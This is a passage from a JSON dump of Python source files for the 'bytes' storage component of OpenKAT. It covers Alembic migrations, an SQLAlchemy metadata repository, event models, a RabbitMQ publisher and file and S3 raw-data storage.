    "content": "\"\"\"empty message\n\nRevision ID: e2f76e95f1e7\nRevises: 0011_2, 0011\nCreate Date: 2022-11-10 19:19:13.732053\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = \"e2f76e95f1e7\"\ndown_revision = (\"0011_2\", \"0011\")\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    pass\n\n\ndef downgrade() -> None:\n    pass\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/ebc7de8be4e3_increase_organization_id_length.py",
    "content": "\"\"\"Increase organization id length\n\nRevision ID: ebc7de8be4e3\nRevises: e09d8780e34b\nCreate Date: 2023-01-31 11:08:42.920579\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"ebc7de8be4e3\"\ndown_revision = \"e09d8780e34b\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"boefje_meta\",\n        \"organization\",\n        existing_type=sa.VARCHAR(length=8),\n        type_=sa.String(length=32),\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"boefje_meta\",\n        \"organization\",\n        existing_type=sa.String(length=32),\n        type_=sa.VARCHAR(length=8),\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/ec68d3eb14b1_remove_redundant_boefje_meta_foreign.py",
    "content": "\"\"\"Remove redundant boefje_meta foreign key from normalizer meta\n\nRevision ID: ec68d3eb14b1\nRevises: fa64454868a9\nCreate Date: 2023-04-13 13:36:50.196441\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"ec68d3eb14b1\"\ndown_revision = \"fa64454868a9\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n\n    conn = op.get_bind()\n    with conn.begin():\n        # A small part of older raw files were saved with the boefje_meta id as filename\n        conn.execute(\n            \"INSERT INTO raw_file (id, boefje_meta_id) SELECT DISTINCT boefje_meta_id, boefje_meta_id \"\n            \"FROM normalizer_meta WHERE raw_file_id IS NULL;\"\n        )\n        conn.execute(\"UPDATE normalizer_meta SET raw_file_id = boefje_meta_id WHERE raw_file_id IS NULL;\")\n\n    op.alter_column(\"normalizer_meta\", \"raw_file_id\", existing_type=postgresql.UUID(), nullable=False)\n    op.drop_constraint(\"normalizer_meta_boefje_meta_id_fkey\", \"normalizer_meta\", type_=\"foreignkey\")\n    op.drop_column(\"normalizer_meta\", \"boefje_meta_id\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"normalizer_meta\", sa.Column(\"boefje_meta_id\", postgresql.UUID(), autoincrement=False, nullable=False)\n    )\n    op.create_foreign_key(\n        \"normalizer_meta_boefje_meta_id_fkey\",\n        \"normalizer_meta\",\n        \"boefje_meta\",\n        [\"boefje_meta_id\"],\n        [\"id\"],\n        ondelete=\"CASCADE\",\n    )\n    op.alter_column(\"normalizer_meta\", \"raw_file_id\", existing_type=postgresql.UUID(), nullable=True)\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/fa64454868a9_add_index_on_boefjemeta_table_.py",
    "content": "\"\"\"Add index on BoefjeMeta table: organization_boefje_id\n\nRevision ID: fa64454868a9\nRevises: ebc7de8be4e3\nCreate Date: 2023-03-29 08:23:08.521462\n\n\"\"\"\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"fa64454868a9\"\ndown_revision = \"ebc7de8be4e3\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_index(\"ix_boefje_meta_organization_boefje_id\", \"boefje_meta\", [\"organization\", \"boefje_id\"], unique=False)\n    op.create_index(op.f(\"ix_normalizer_meta_raw_file_id\"), \"normalizer_meta\", [\"raw_file_id\"], unique=False)\n    op.create_index(op.f(\"ix_raw_file_boefje_meta_id\"), \"raw_file\", [\"boefje_meta_id\"], unique=False)\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_index(\"ix_boefje_meta_organization_boefje_id\", table_name=\"boefje_meta\")\n    op.drop_index(op.f(\"ix_raw_file_boefje_meta_id\"), table_name=\"raw_file\")\n    op.drop_index(op.f(\"ix_normalizer_meta_raw_file_id\"), table_name=\"normalizer_meta\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/sql_meta_repository.py",
    "content": "import uuid\nfrom collections.abc import Iterator\n\nimport structlog\nfrom sqlalchemy import func\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm import Session, sessionmaker\n\nfrom bytes.config import Settings, get_settings\nfrom bytes.database.db import SQL_BASE, get_engine\nfrom bytes.database.db_models import BoefjeMetaInDB, NormalizerMetaInDB, RawFileInDB, SigningProviderInDB\nfrom bytes.models import Boefje, BoefjeMeta, MimeType, Normalizer, NormalizerMeta, RawData, RawDataMeta\nfrom bytes.raw.file_raw_repository import create_raw_repository\nfrom bytes.repositories.hash_repository import HashRepository\nfrom bytes.repositories.meta_repository import BoefjeMetaFilter, MetaDataRepository, NormalizerMetaFilter, RawDataFilter\nfrom bytes.repositories.raw_repository import RawRepository\nfrom bytes.timestamping.hashing import hash_data\nfrom bytes.timestamping.provider import create_hash_repository\n\nlogger = structlog.get_logger(__name__)\n\n\nclass SQLMetaDataRepository(MetaDataRepository):\n    def __init__(\n        self, session: Session, raw_repository: RawRepository, hash_repository: HashRepository, app_settings: Settings\n    ):\n        self.session = session\n        self.raw_repository = raw_repository\n        self.hash_repository = hash_repository\n        self.app_settings = app_settings\n\n    def __enter__(self) -> None:\n        pass\n\n    def __exit__(self, _exc_type: type[Exception], _exc_value: str, _exc_traceback: str) -> None:\n        try:\n            self.session.commit()\n            logger.debug(\"Committed session\")\n        except IntegrityError as e:\n            logger.exception(\"An integrity error occurred while committing a session.\")\n\n            raise MetaIntegrityError(str(e)) from e\n\n    def save_boefje_meta(self, boefje_meta: BoefjeMeta) -> None:\n        boefje_meta_in_db = to_boefje_meta_in_db(boefje_meta)\n        self.session.add(boefje_meta_in_db)\n\n        logger.info(\"Added boefje meta [id=%s]\", boefje_meta.id)\n\n    def get_boefje_meta_by_id(self, boefje_meta_id: uuid.UUID) -> BoefjeMeta:\n        boefje_meta_in_db = self.session.get(BoefjeMetaInDB, str(boefje_meta_id))\n\n        if boefje_meta_in_db is None:\n            raise ObjectNotFoundException(BoefjeMetaInDB, id=str(boefje_meta_id))\n\n        return to_boefje_meta(boefje_meta_in_db)\n\n    def get_boefje_meta(self, query_filter: BoefjeMetaFilter) -> list[BoefjeMeta]:\n        logger.debug(\"Querying boefje meta: %s\", query_filter.model_dump(mode=\"json\"))\n\n        query = self.session.query(BoefjeMetaInDB).filter(BoefjeMetaInDB.organization == query_filter.organization)\n\n        if query_filter.boefje_id is not None:\n            query = query.filter(BoefjeMetaInDB.boefje_id == query_filter.boefje_id)\n\n        if query_filter.input_ooi != \"*\":\n            query = query.filter(BoefjeMetaInDB.input_ooi == query_filter.input_ooi)\n\n        ordering_fn = BoefjeMetaInDB.started_at.desc if query_filter.descending else BoefjeMetaInDB.started_at.asc\n        query = query.order_by(ordering_fn()).offset(query_filter.offset).limit(query_filter.limit)\n\n        return [to_boefje_meta(boefje_meta) for boefje_meta in query]\n\n    def save_normalizer_meta(self, normalizer_meta: NormalizerMeta) -> None:\n        normalizer_meta_in_db = to_normalizer_meta_in_db(normalizer_meta)\n        self.session.add(normalizer_meta_in_db)\n\n        logger.info(\"Added normalizer meta [id=%s]\", normalizer_meta.id)\n\n    def get_normalizer_meta_by_id(self, normalizer_meta_id: uuid.UUID) -> NormalizerMeta:\n        normalizer_meta_in_db = self.session.get(NormalizerMetaInDB, str(normalizer_meta_id))\n\n        if normalizer_meta_in_db is None:\n            raise ObjectNotFoundException(NormalizerMetaInDB, id=str(normalizer_meta_id))\n\n        return to_normalizer_meta(normalizer_meta_in_db)\n\n    def get_normalizer_metas(\n        self, normalizer_metas: list[uuid.UUID], query_filter: NormalizerMetaFilter | None = None\n    ) -> dict[str, NormalizerMeta]:\n        query = self.session.query(NormalizerMetaInDB)\n        meta_ids = [str(normalizer_meta_id) for normalizer_meta_id in normalizer_metas]\n        query = query.filter(NormalizerMetaInDB.id.in_(meta_ids))\n        query = query.order_by(NormalizerMetaInDB.started_at.asc())\n        if query_filter:\n            if query_filter.offset:\n                query = query.offset(query_filter.offset)\n            if query_filter.limit:\n                query = query.limit(query_filter.limit)\n        results: dict[str, NormalizerMeta] = {}\n        for normalizer_meta in query:\n            results[str(normalizer_meta.id)] = to_normalizer_meta(normalizer_meta)\n        return results\n\n    def get_normalizer_meta(self, query_filter: NormalizerMetaFilter) -> list[NormalizerMeta]:\n        logger.debug(\"Querying normalizer meta: %s\", query_filter.model_dump(mode=\"json\"))\n\n        query = self.session.query(NormalizerMetaInDB)\n\n        if query_filter.raw_id is not None:\n            query = query.filter(NormalizerMetaInDB.raw_file_id == str(query_filter.raw_id))\n\n        if query_filter.organization is not None:\n            query = (\n                query.join(RawFileInDB)\n                .join(BoefjeMetaInDB)\n                .filter(RawFileInDB.boefje_meta_id == BoefjeMetaInDB.id)\n                .filter(BoefjeMetaInDB.organization == query_filter.organization)\n            )\n\n        if query_filter.normalizer_id is not None:\n            query = query.filter(NormalizerMetaInDB.normalizer_id == query_filter.normalizer_id)\n\n        ordering_fn = (\n            NormalizerMetaInDB.started_at.desc if query_filter.descending else NormalizerMetaInDB.started_at.asc\n        )\n        query = query.order_by(ordering_fn()).offset(query_filter.offset).limit(query_filter.limit)\n\n        return [to_normalizer_meta(normalizer_meta) for normalizer_meta in query]\n\n    def save_raw(self, raw: RawData) -> uuid.UUID:\n        # Hash the data\n        secure_hash = hash_data(raw, raw.boefje_meta.ended_at, self.app_settings.hashing_algorithm)\n\n        # Send hash to a third party service.\n        link = self.hash_repository.store(secure_hash=secure_hash)\n\n        raw.signing_provider_url = self.hash_repository.get_signing_provider_url()\n        raw.secure_hash = secure_hash\n        raw.hash_retrieval_link = link\n\n        logger.info(\"Added hash %s and link %s to data\", secure_hash, link)\n\n        signing_provider = self._get_or_create_signing_provider(raw.signing_provider_url)\n        raw_file_in_db = to_raw_file_in_db(raw, signing_provider if signing_provider else None)\n\n        self.session.add(raw_file_in_db)\n        self.raw_repository.save_raw(raw_file_in_db.id, raw)\n        logger.info(\"Added raw data [id=%s]\", raw_file_in_db.id)\n\n        return raw_file_in_db.id\n\n    def get_raw(self, query_filter: RawDataFilter) -> list[RawDataMeta]:\n        logger.debug(\"Querying raw data: %s\", query_filter.model_dump(mode=\"json\"))\n        query = self.session.query(RawFileInDB)\n        query = query_filter.apply(query)\n\n        return [to_raw_meta(raw_file_in_db) for raw_file_in_db in query]\n\n    def get_raws(self, query_filter: RawDataFilter) -> list[tuple[uuid.UUID, RawData]]:\n        logger.debug(\"Querying raw data: %s\", query_filter.model_dump(mode=\"json\"))\n        query = self.session.query(RawFileInDB)\n        query = query_filter.apply(query)\n\n        raw_metas_pairs = [(raw_meta.id, to_boefje_meta(raw_meta.boefje_meta)) for raw_meta in query]\n\n        return self.raw_repository.get_raws(raw_metas_pairs)\n\n    def get_raw_by_id(self, raw_id: uuid.UUID) -> RawData:\n        raw_in_db: RawFileInDB | None = self.session.get(RawFileInDB, str(raw_id))\n\n        if raw_in_db is None:\n            raise ObjectNotFoundException(RawFileInDB, id=str(raw_id))\n\n        boefje_meta = to_boefje_meta(raw_in_db.boefje_meta)\n        return self.raw_repository.get_raw(raw_in_db.id, boefje_meta)\n\n    def get_raw_meta_by_id(self, raw_id: uuid.UUID) -> RawDataMeta:\n        raw_in_db: RawFileInDB | None = self.session.get(RawFileInDB, str(raw_id))\n\n        if raw_in_db is None:\n            raise ObjectNotFoundException(RawFileInDB, id=str(raw_id))\n\n        return to_raw_meta(raw_in_db)\n\n    def has_raw(self, boefje_meta: BoefjeMeta, mime_types: list[MimeType]) -> bool:\n        query = self.session.query(RawFileInDB).filter(RawFileInDB.boefje_meta_id == str(boefje_meta.id))\n\n        if len(mime_types) > 0:\n            query = query.filter(RawFileInDB.mime_types.contains([mime_type.value for mime_type in mime_types]))\n\n        count: int = query.count()\n\n        return count > 0\n\n    def get_raw_file_count_per_organization(self) -> dict[str, int]:\n        query = (\n            self.session.query(BoefjeMetaInDB.organization, func.count())\n            .join(RawFileInDB)\n            .group_by(BoefjeMetaInDB.organization)\n        )\n\n        return {organization_id: count for organization_id, count in query}\n\n    def get_raw_file_count_per_mime_type(self, query_filter: RawDataFilter) -> dict[str, int]:\n        logger.debug(\"Querying count raw data per mime type: %s\", query_filter.model_dump(mode=\"json\"))\n        query = self.session.query(func.unnest(RawFileInDB.mime_types), func.count()).group_by(\n            func.unnest(RawFileInDB.mime_types)\n        )\n        query = query_filter.apply(query)\n\n        return {mime_type: count for mime_type, count in query}\n\n    def _to_raw(self, raw_file_in_db: RawFileInDB) -> RawData:\n        boefje_meta = to_boefje_meta(raw_file_in_db.boefje_meta)\n        data = self.raw_repository.get_raw(raw_file_in_db.id, boefje_meta)\n\n        return to_raw_data(raw_file_in_db, data.value)\n\n    def _get_or_create_signing_provider(self, signing_provider_url: str | None) -> SigningProviderInDB | None:\n        if not signing_provider_url:\n            return None\n\n        query = self.session.query(SigningProviderInDB).filter(SigningProviderInDB.url == signing_provider_url)\n        signing_provider = query.first()\n\n        if not signing_provider:\n            signing_provider = SigningProviderInDB(url=signing_provider_url)\n            self.session.add(signing_provider)\n\n        return signing_provider\n\n\ndef create_meta_data_repository() -> Iterator[MetaDataRepository]:\n    settings = get_settings()\n\n    session = sessionmaker(\n        bind=get_engine(db_uri=str(settings.db_uri), pool_size=int(settings.db_connection_pool_size))\n    )()\n    repository = SQLMetaDataRepository(\n        session, create_raw_repository(settings), create_hash_repository(settings), settings\n    )\n\n    try:\n        yield repository\n    except Exception as error:\n        logger.debug(\"An error occurred during the session.\")\n        session.rollback()\n        logger.debug(\"Rolled back session.\")\n\n        raise error\n    finally:\n        session.close()\n        logger.debug(\"Closed session\")\n\n\nclass ObjectNotFoundException(Exception):\n    def __init__(self, cls: type[SQL_BASE], **kwargs: str):\n        super().__init__(f\"The object of type {cls} was not found for query parameters {kwargs}\")\n\n\nclass MetaIntegrityError(Exception):\n    \"\"\"An IntegrityError occurred for the MetaRepository\"\"\"\n\n\ndef to_boefje_meta_in_db(boefje_meta: BoefjeMeta) -> BoefjeMetaInDB:\n    return BoefjeMetaInDB(\n        id=str(boefje_meta.id),\n        boefje_id=boefje_meta.boefje.id,\n        boefje_version=boefje_meta.boefje.version,\n        arguments=boefje_meta.arguments,\n        input_ooi=boefje_meta.input_ooi,\n        organization=boefje_meta.organization,\n        started_at=boefje_meta.started_at,\n        ended_at=boefje_meta.ended_at,\n        runnable_hash=boefje_meta.runnable_hash,\n        environment=boefje_meta.environment,\n    )\n\n\ndef to_boefje_meta(boefje_meta_in_db: BoefjeMetaInDB) -> BoefjeMeta:\n    return BoefjeMeta(\n        id=boefje_meta_in_db.id,\n        boefje=Boefje(id=boefje_meta_in_db.boefje_id, version=boefje_meta_in_db.boefje_version),\n        arguments=boefje_meta_in_db.arguments,\n        input_ooi=boefje_meta_in_db.input_ooi,\n        organization=boefje_meta_in_db.organization,\n        started_at=boefje_meta_in_db.started_at,\n        ended_at=boefje_meta_in_db.ended_at,\n        runnable_hash=boefje_meta_in_db.runnable_hash,\n        environment=boefje_meta_in_db.environment,\n    )\n\n\ndef to_normalizer_meta_in_db(normalizer_meta: NormalizerMeta) -> NormalizerMetaInDB:\n    return NormalizerMetaInDB(\n        id=str(normalizer_meta.id),\n        normalizer_id=normalizer_meta.normalizer.id,\n        normalizer_version=normalizer_meta.normalizer.version,\n        started_at=normalizer_meta.started_at,\n        ended_at=normalizer_meta.ended_at,\n        raw_file_id=str(normalizer_meta.raw_data.id),\n    )\n\n\ndef to_normalizer_meta(normalizer_meta_in_db: NormalizerMetaInDB) -> NormalizerMeta:\n    raw_meta = to_raw_meta(normalizer_meta_in_db.raw_file)\n\n    return NormalizerMeta(\n        id=normalizer_meta_in_db.id,\n        normalizer=Normalizer(id=normalizer_meta_in_db.normalizer_id, version=normalizer_meta_in_db.normalizer_version),\n        started_at=normalizer_meta_in_db.started_at,\n        ended_at=normalizer_meta_in_db.ended_at,\n        raw_data=raw_meta,\n    )\n\n\ndef to_raw_file_in_db(raw_data: RawData, signing_provider: SigningProviderInDB | None) -> RawFileInDB:\n    return RawFileInDB(\n        id=str(uuid.uuid4()),\n        boefje_meta_id=str(raw_data.boefje_meta.id),\n        secure_hash=raw_data.secure_hash,\n        signing_provider=signing_provider if signing_provider else None,\n        hash_retrieval_link=raw_data.hash_retrieval_link,\n        mime_types=[mime_type.value for mime_type in raw_data.mime_types],\n    )\n\n\ndef raw_meta_to_raw_file_in_db(raw_data_meta: RawDataMeta, signing_provider_id: int | None) -> RawFileInDB:\n    return RawFileInDB(\n        id=str(raw_data_meta.id),\n        boefje_meta_id=raw_data_meta.boefje_meta.id,\n        secure_hash=raw_data_meta.secure_hash,\n        signing_provider_id=signing_provider_id if signing_provider_id else None,\n        hash_retrieval_link=raw_data_meta.hash_retrieval_link,\n        mime_types=[mime_type.value for mime_type in raw_data_meta.mime_types],\n    )\n\n\ndef to_raw_data(raw_file_in_db: RawFileInDB, raw: bytes) -> RawData:\n    return RawData(\n        value=raw,\n        boefje_meta=to_boefje_meta(raw_file_in_db.boefje_meta),\n        secure_hash=raw_file_in_db.secure_hash,\n        signing_provider_url=raw_file_in_db.signing_provider.url if raw_file_in_db.signing_provider else None,\n        hash_retrieval_link=raw_file_in_db.hash_retrieval_link,\n        mime_types=[to_mime_type(mime_type) for mime_type in raw_file_in_db.mime_types],\n    )\n\n\ndef to_raw_meta(raw_file_in_db: RawFileInDB) -> RawDataMeta:\n    return RawDataMeta(\n        id=raw_file_in_db.id,\n        boefje_meta=to_boefje_meta(raw_file_in_db.boefje_meta),\n        secure_hash=raw_file_in_db.secure_hash,\n        signing_provider_url=raw_file_in_db.signing_provider.url if raw_file_in_db.signing_provider else None,\n        hash_retrieval_link=raw_file_in_db.hash_retrieval_link,\n        mime_types=[to_mime_type(mime_type) for mime_type in raw_file_in_db.mime_types],\n    )\n\n\ndef to_mime_type(mime_type: str) -> MimeType:\n    return MimeType(value=mime_type)\n"
  },
  {
    "path": "bytes/bytes/events/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/bytes/events/events.py",
    "content": "from datetime import datetime, timezone\n\nfrom pydantic import BaseModel, Field\n\nfrom bytes.models import RawDataMeta\n\n\ndef utc_now() -> datetime:\n    return datetime.now(timezone.utc)\n\n\nclass Event(BaseModel):\n    event_id: str\n\n    created_at: datetime = Field(default_factory=utc_now)  # Needs to be a callable, hence the wrapping\n    organization: str\n\n\nclass RawFileReceived(Event):\n    event_id: str = \"raw_file_received\"\n\n    raw_data: RawDataMeta\n"
  },
  {
    "path": "bytes/bytes/events/manager.py",
    "content": "from bytes.events.events import Event\n\n\nclass EventManager:\n    async def publish(self, event: Event) -> None:\n        raise NotImplementedError()\n"
  },
  {
    "path": "bytes/bytes/models.py",
    "content": "from __future__ import annotations\n\nfrom datetime import datetime\nfrom enum import Enum\nfrom typing import Any, NewType\nfrom uuid import UUID\n\nfrom pydantic import AwareDatetime, BaseModel, Field\nfrom pydantic.v1.datetime_parse import parse_datetime\n\nRetrievalLink = NewType(\"RetrievalLink\", str)\nSecureHash = NewType(\"SecureHash\", str)\n\n\nclass EncryptionMiddleware(str, Enum):\n    IDENTITY = \"IDENTITY\"\n    NACL_SEALBOX = \"NACL_SEALBOX\"\n\n\nclass HashingAlgorithm(str, Enum):\n    SHA512 = \"sha512\"\n    SHA224 = \"sha224\"\n\n\nclass HashingRepositoryReference(str, Enum):\n    IN_MEMORY = \"IN_MEMORY\"\n    PASTEBIN = \"PASTEBIN\"\n    RFC3161 = \"RFC3161\"\n\n\ndef _validate_timezone_aware_datetime(value: datetime) -> datetime:\n    parsed = parse_datetime(value)\n    if parsed.tzinfo is None or parsed.tzinfo.utcoffset(parsed) is None:\n        raise ValueError(f\"{parsed} is not timezone aware\")\n    return parsed\n\n\nclass MimeType(BaseModel):\n    value: str\n\n    def __hash__(self) -> int:\n        return hash(self.value)\n\n    def __lt__(self, other: MimeType) -> bool:\n        return self.value < other.value\n\n\nclass Job(BaseModel):\n    id: UUID\n    started_at: AwareDatetime\n    ended_at: AwareDatetime\n\n    def __hash__(self) -> int:\n        return self.id.int\n\n\nclass Boefje(BaseModel):\n    id: str\n    version: str | None = None\n\n\nclass Normalizer(BaseModel):\n    id: str\n    version: str | None = None\n\n\nclass BoefjeMeta(Job):\n    boefje: Boefje\n    input_ooi: str | None = None\n    arguments: dict[str, Any]\n    organization: str\n    runnable_hash: str | None = None\n    environment: dict[str, str] | None = None\n\n\nclass RawDataMeta(BaseModel):\n    \"\"\"Represents only the metadata of a RawData object, without its raw value. Used as an API response model.\"\"\"\n\n    id: UUID\n    boefje_meta: BoefjeMeta\n    mime_types: set[MimeType] = Field(default_factory=set)\n\n    # These are set once the raw is saved\n    secure_hash: SecureHash | None = None\n    signing_provider_url: str | None = None\n    hash_retrieval_link: RetrievalLink | None = None\n\n\nclass RawData(BaseModel):\n    value: bytes\n    boefje_meta: BoefjeMeta\n    mime_types: set[MimeType] = Field(default_factory=set)\n\n    # These are set once the raw is saved\n    secure_hash: SecureHash | None = None\n    signing_provider_url: str | None = None\n    hash_retrieval_link: RetrievalLink | None = None\n\n\nclass NormalizerMeta(Job):\n    raw_data: RawDataMeta\n    normalizer: Normalizer\n"
  },
  {
    "path": "bytes/bytes/rabbitmq.py",
    "content": "import aio_pika\nimport structlog\n\nfrom bytes.config import get_settings\nfrom bytes.events.events import Event\nfrom bytes.events.manager import EventManager\n\nlogger = structlog.get_logger(__name__)\n\n_event_manager: EventManager | None = None\n\n\nclass RabbitMQEventManager(EventManager):\n    def __init__(self, queue_uri: str):\n        self.queue_uri = queue_uri\n        self._channel: aio_pika.abc.AbstractChannel | None = None\n        self._connection: aio_pika.abc.AbstractRobustConnection | None = None\n\n    async def _get_channel(self) -> aio_pika.abc.AbstractChannel:\n        if self._connection is None or self._connection.is_closed:\n            self._connection = await aio_pika.connect_robust(self.queue_uri)\n            self._channel = None\n            logger.info(\"Connected to RabbitMQ\")\n\n        if self._channel is None or self._channel.is_closed:\n            self._channel = await self._connection.channel()\n\n        return self._channel\n\n    async def publish(self, event: Event) -> None:\n        event_data = event.model_dump_json()\n        logger.debug(\"Publishing event: %s\", event_data)\n        queue_name = self._queue_name(event)\n\n        channel = await self._get_channel()\n        await channel.declare_queue(queue_name, durable=True)\n        await channel.default_exchange.publish(aio_pika.Message(body=event_data.encode()), routing_key=queue_name)\n\n        logger.info(\"Published event [event_id=%s] to queue %s\", event.event_id, queue_name)\n\n    @staticmethod\n    def _queue_name(event: Event) -> str:\n        return event.event_id\n\n\nclass NullManager(EventManager):\n    async def publish(self, event: Event) -> None:\n        pass\n\n\ndef create_event_manager() -> EventManager:\n    global _event_manager\n\n    if _event_manager is not None:\n        return _event_manager\n\n    settings = get_settings()\n\n    if settings.queue_uri:\n        _event_manager = RabbitMQEventManager(str(settings.queue_uri))\n    else:\n        _event_manager = NullManager()\n\n    return _event_manager\n"
  },
  {
    "path": "bytes/bytes/raw/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/bytes/raw/file_raw_repository.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\nfrom uuid import UUID\n\nimport structlog\nfrom boto3 import set_stream_logger as set_boto3_stream_logger\nfrom boto3.session import Session as BotoSession\n\nfrom bytes.config import Settings\nfrom bytes.models import BoefjeMeta, RawData\nfrom bytes.raw.middleware import FileMiddleware, make_middleware\nfrom bytes.repositories.raw_repository import BytesFileNotFoundException, RawRepository\n\nlogger = structlog.get_logger(__name__)\n\n\nif TYPE_CHECKING:\n    from mypy_boto3_s3.service_resource import Bucket\n\n\ndef create_raw_repository(settings: Settings) -> RawRepository:\n    if settings.s3_bucket_name or settings.s3_bucket_prefix:\n        return S3RawRepository(\n            make_middleware(),\n            settings.bucket_per_org,\n            settings.s3_bucket_prefix or \"OpenKAT-\",\n            settings.s3_bucket_name or \"OpenKAT\",\n        )\n    else:\n        return FileRawRepository(\n            settings.data_dir,\n            make_middleware(),\n            folder_permissions=int(settings.folder_permission, 8),\n            file_permissions=int(settings.file_permission, 8),\n        )\n\n\nclass FileRawRepository(RawRepository):\n    UUID_INDEX = 3  # To reduce the number of subdirectories based on the uuid, see self._index()\n\n    def __init__(\n        self,\n        base_path: Path,\n        file_middleware: FileMiddleware,\n        *,\n        folder_permissions: int = 0o750,\n        file_permissions: int = 0o640,\n    ) -> None:\n        self.base_path = base_path\n        self.file_middleware = file_middleware\n        self._folder_permissions = folder_permissions\n        self._file_permissions = file_permissions\n\n    def save_raw(self, raw_id: UUID, raw: RawData) -> None:\n        file_path = self._raw_file_path(raw_id, raw.boefje_meta)\n\n        for parent in reversed(file_path.parents):\n            parent.mkdir(exist_ok=True, mode=self._folder_permissions)\n\n        contents = self.file_middleware.encode(raw.value)\n\n        logger.info(\"Writing raw data with id %s to disk\", raw_id)\n        file_path.write_bytes(contents)\n        file_path.chmod(self._file_permissions)\n\n    def get_raw(self, raw_id: UUID, boefje_meta: BoefjeMeta) -> RawData:\n        file_path = self._raw_file_path(raw_id, boefje_meta)\n\n        if not file_path.exists():\n            raise BytesFileNotFoundException()\n\n        contents = file_path.read_bytes()\n        return RawData(value=self.file_middleware.decode(contents), boefje_meta=boefje_meta)\n\n    def get_raws(self, raw_metas_pairs: list[tuple[UUID, BoefjeMeta]]) -> list[tuple[UUID, RawData]]:\n        try:\n            raws = [\n                (raw_id, self._raw_file_path(raw_id, boefje_meta).read_bytes(), boefje_meta)\n                for raw_id, boefje_meta in raw_metas_pairs\n            ]\n        except FileNotFoundError:\n            raise BytesFileNotFoundException()\n\n        return [\n            (raw_id, RawData(value=self.file_middleware.decode(raw), boefje_meta=boefje_meta))\n            for raw_id, raw, boefje_meta in raws\n        ]\n\n    def _raw_file_path(self, raw_id: UUID, boefje_meta: BoefjeMeta) -> Path:\n        return self.base_path / boefje_meta.organization / self._index(raw_id) / str(raw_id)\n\n    def _index(self, raw_id: UUID) -> str:\n        return str(raw_id)[: self.UUID_INDEX]\n\n\nclass S3RawRepository(RawRepository):\n    def __init__(\n        self, file_middleware: FileMiddleware, bucket_per_org: bool, s3_bucket_prefix: str, s3_bucket_name: str\n    ) -> None:\n        self._file_middleware = file_middleware\n        self.bucket_per_org = bucket_per_org\n        self.s3_bucket_prefix = s3_bucket_prefix\n        self.s3_bucket_name = s3_bucket_name\n\n        set_boto3_stream_logger(\"\", logging.WARNING)\n        self._s3resource = BotoSession().resource(\"s3\")\n\n    def get_or_create_bucket(self, organization: str) -> Bucket:\n        # Create a bucket, and if it exists already return that instead\n        bucket_name = f\"{self.s3_bucket_prefix}{organization}\" if self.bucket_per_org else self.s3_bucket_name\n\n        try:\n            bucket = self._s3resource.create_bucket(Bucket=bucket_name)\n            bucket.wait_until_exists()\n            return bucket\n        except bucket.meta.client.exceptions.ClientError as error:\n            logger.error(\"Something went wrong with creating/getting bucket %s: %s\", bucket_name, error)\n            raise error\n\n    def save_raw(self, raw_id: UUID, raw: RawData) -> None:\n        object_name = self._raw_file_name(raw_id, raw.boefje_meta)\n        contents = self._file_middleware.encode(raw.value)\n\n        logger.info(\"Writing raw data with id %s to s3\", raw_id)\n        bucket = self.get_or_create_bucket(raw.boefje_meta.organization)\n        bucket.Object(object_name).put(Body=contents)\n\n    def get_raw(self, raw_id: UUID, boefje_meta: BoefjeMeta) -> RawData:\n        object_name = self._raw_file_name(raw_id, boefje_meta)\n        bucket = self.get_or_create_bucket(boefje_meta.organization)\n\n        try:\n            contents = bucket.Object(object_name).get()[\"Body\"].read()\n        except self._s3resource.meta.client.exceptions.ClientError as error:\n            if error.response[\"Error\"][\"Code\"] == \"404\":\n                raise BytesFileNotFoundException(error)\n            logger.error(\"Could not get file from s3: %s/%s due to %s\", bucket.name, object_name, error)\n            raise error\n\n        return RawData(value=self._file_middleware.decode(contents), boefje_meta=boefje_meta)\n\n    def _raw_file_name(self, raw_id: UUID, boefje_meta: BoefjeMeta) -> str:\n        if self.bucket_per_org:\n            return str(raw_id)\n        return f\"{boefje_meta.organization}/{raw_id}\"\n"
  },
  {
    "path": "bytes/bytes/raw/middleware.py",
